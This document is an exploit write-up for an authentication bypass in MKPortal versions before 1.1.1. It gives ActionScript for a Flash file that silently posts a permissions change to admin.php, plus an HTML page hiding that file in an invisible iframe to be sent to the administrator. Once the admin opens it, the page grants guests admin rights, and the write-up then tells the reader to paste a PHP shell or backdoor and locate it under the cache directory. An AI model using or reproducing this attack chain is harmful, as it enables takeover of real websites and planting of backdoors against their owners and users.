MKPortal is prone to an authentication-bypass vulnerability because it fails to restrict access to certain administrative functions.
|
|
|
|
Attackers can exploit this issue to gain unauthorized access to the application.
|
|
|
|
Versions prior to MKPortal 1.1.1 are vulnerable.
|
|
|
|
Start Macromedia Flash and create an swf file with this code:
|
|
|
|
var idg:Number = 9;
|
|
var p13:Number = 1;
|
|
var Salva:String = "Save+Permissions";
|
|
getURL("http://victim.com/mkportal/admin.php?ind=ad_perms&op=save_main",
|
|
"_self", "POST");
|
|
|
|
Translate "Save+Permissions" in MKPortal language.
|
|
Example: "Salva+questi+permessi" for italian sites.
|
|
|
|
Then upload the swf file to a webserver and create an html page like
|
|
this:
|
|
|
|
<html>
|
|
<head>
|
|
<title>Put a title here</title>
|
|
</head>
|
|
<body>
|
|
<p>Put some text here<p>
|
|
<iframe src="http://yoursite.com/exploit.swf" frameborder="0" height="0"
|
|
width="0"></iframe>
|
|
</body>
|
|
</html>
|
|
|
|
Now send the html page to MKPortal administrator.
|
|
When admin opens the page all guests will be able to administrate
|
|
MKPortal.
|
|
|
|
So you can go here:
|
|
http://victim.com/mkportal/admin.php?ind=ad_contents&op=contents_new_php
|
|
and paste a php shell or a backdoor.
|
|
You can find your shell here:
|
|
http://victim.com/mkportal/cache/ppage_*.php
|
|
where * is the ID of the page.
|
|
|
|
Translate "page" in MKPortal language.
|
|
Example: "pagina" for italian sites. |
